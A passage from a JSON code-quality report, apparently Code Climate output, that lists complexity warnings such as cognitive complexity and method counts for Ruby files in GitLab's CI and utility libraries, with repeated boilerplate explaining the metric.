cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `chunk_slice_from_offset` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"60dbbad2af42b5e9d17acf1180b8e0d6","location":{"path":"lib/gitlab/ci/trace/chunked_io.rb","lines":{"begin":178,"end":189}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `ChunkedIO` has 26 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"3f6175d5d4d29675f68a7afb44b51fb3","location":{"path":"lib/gitlab/ci/trace/chunked_io.rb","lines":{"begin":7,"end":236}},"other_locations":[],"remediation_points":1800000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `extract_coverage` has a Cognitive Complexity of 19 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a126d9b81c791cb0bd1b8cd455422f3b","location":{"path":"lib/gitlab/ci/trace/stream.rb","lines":{"begin":79,"end":102}},"other_locations":[],"remediation_points":1550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `handle_line` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"6e13932e33f438288cd2d7a23cca7b04","location":{"path":"lib/gitlab/ci/trace/section_parser.rb","lines":{"begin":56,"end":56}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_next_marker` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7b78b80d610593251ebbeb9bb18f6246","location":{"path":"lib/gitlab/ci/trace/section_parser.rb","lines":{"begin":78,"end":93}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_string_or_regexp` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a99d0cd045678d388fd755c238f7757f","location":{"path":"lib/gitlab/ci/config/entry/legacy_validation_helpers.rb","lines":{"begin":43,"end":52}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `to_hash` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bc0685829f332ba16f511159006c4cf9","location":{"path":"lib/gitlab/ci/config/entry/job.rb","lines":{"begin":136,"end":155}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `variables_expressions_syntax` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"736e4fd1de9745ba1bb433fcb5443516","location":{"path":"lib/gitlab/ci/config/entry/policy.rb","lines":{"begin":41,"end":53}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `attributes` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"69c16e006586bdd7ac4cb17f7ede9848","location":{"path":"lib/gitlab/ci/config/entry/attributable.rb","lines":{"begin":9,"end":21}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `helpers` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2d39bb63c3e71381a6cfd8d51654bee4","location":{"path":"lib/gitlab/ci/config/entry/configurable.rb","lines":{"begin":63,"end":75}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `extend!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4fa7fe12ebb0fe9c7eed89e17ece5daf","location":{"path":"lib/gitlab/ci/config/extendable/entry.rb","lines":{"begin":48,"end":72}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `write` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4254fbcc9b1008e1fd6a644e17f14b44","location":{"path":"lib/gitlab/ci/trace.rb","lines":{"begin":83,"end":101}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `unsafe_archive!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b90c223da9c451bd90087645954fe5ee","location":{"path":"lib/gitlab/ci/trace.rb","lines":{"begin":125,"end":145}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Trace` has 26 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"d9e217fe03ddebc9f270b441d4194d76","location":{"path":"lib/gitlab/ci/trace.rb","lines":{"begin":3,"end":237}},"other_locations":[],"remediation_points":1800000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform!` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"56ff592ebb6677c3a386b683db2b6821","location":{"path":"lib/gitlab/ci/pipeline/chain/validate/config.rb","lines":{"begin":9,"end":21}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `tokenize` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"60a6e3ebf3ba798ac11eca1daba671b8","location":{"path":"lib/gitlab/ci/pipeline/expression/lexer.rb","lines":{"begin":36,"end":56}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `tree` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"494fb3f15182110d4c2051f9a07b9ddc","location":{"path":"lib/gitlab/ci/pipeline/expression/parser.rb","lines":{"begin":16,"end":31}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `all_cases` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4f41f387d6f9c748719d97b454bbe92f","location":{"path":"lib/gitlab/ci/parsers/junit.rb","lines":{"begin":22,"end":37}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_job_dependencies!` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"97a1046ed696c51fb2ce1bf34f0b7293","location":{"path":"lib/gitlab/ci/yaml_processor.rb","lines":{"begin":139,"end":151}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_on_stop_job!` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"06fcc3fed9dc213e5669186830670f59","location":{"path":"lib/gitlab/ci/yaml_processor.rb","lines":{"begin":161,"end":180}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5f09e73f4a1aa8458ce984db4f5fce37","location":{"path":"lib/gitlab/downtime_check.rb","lines":{"begin":16,"end":40}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `parse_entry` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4f46e2835f32393dfdf07c66c0f704d0","location":{"path":"lib/gitlab/route_map.rb","lines":{"begin":30,"end":52}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e2058f84cad6a346389ce944d7c1c76e","location":{"path":"lib/gitlab/upgrader.rb","lines":{"begin":3,"end":25}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `fuzzy_arel_match` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"44164fac144fbfeea45df1508dfe02db","location":{"path":"lib/gitlab/sql/pattern.rb","lines":{"begin":32,"end":51}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `lazy_page_iterator` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6ef599b3dc4f1b639d3197c028e40b71","location":{"path":"lib/gitlab/gitlab_import/client.rb","lines":{"begin":59,"end":76}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `merge_hash_tree` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e6ac0be8cece82ccc2e82ff8dd59e20e","location":{"path":"lib/gitlab/utils/merge_hash.rb","lines":{"begin":58,"end":97}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `listing` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7b99984bc28e1e4cbc4903a72d7ac663","location":{"path":"lib/gitlab/hashed_storage/rake_helper.rb","lines":{"begin":72,"end":87}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `ee_compat_check.rb` has 312 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"2103307f841e293ce32cd4161da95965","location":{"path":"lib/gitlab/ee_compat_check.rb","lines":{"begin":2,"end":440}},"other_locations":[],"remediation_points":2092800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `generate_patch` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d35820a437b86e532f50e32d127b5ab0","location":{"path":"lib/gitlab/ee_compat_check.rb","lines":{"begin":115,"end":130}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check_patch` has a Cognitive Complexity of 16 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2b66236ad0f63db5144a0820b94228b9","location":{"path":"lib/gitlab/ee_compat_check.rb","lines":{"begin":178,"end":211}},"other_locations":[],"remediation_points":1250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `EeCompatCheck` has 33 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"36de6fe216cdb6efd396cb08cb43cee5","location":{"path":"lib/gitlab/ee_compat_check.rb","lines":{"begin":4,"end":439}},"other_locations":[],"remediation_points":2500000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `ce_branch_doesnt_apply_cleanly_and_no_ee_branch_msg` has 45 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e819c9434d1b44e764eb37a75eb1f24c","location":{"path":"lib/gitlab/ee_compat_check.rb","lines":{"begin":336,"end":412}},"other_locations":[],"remediation_points":1080000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring 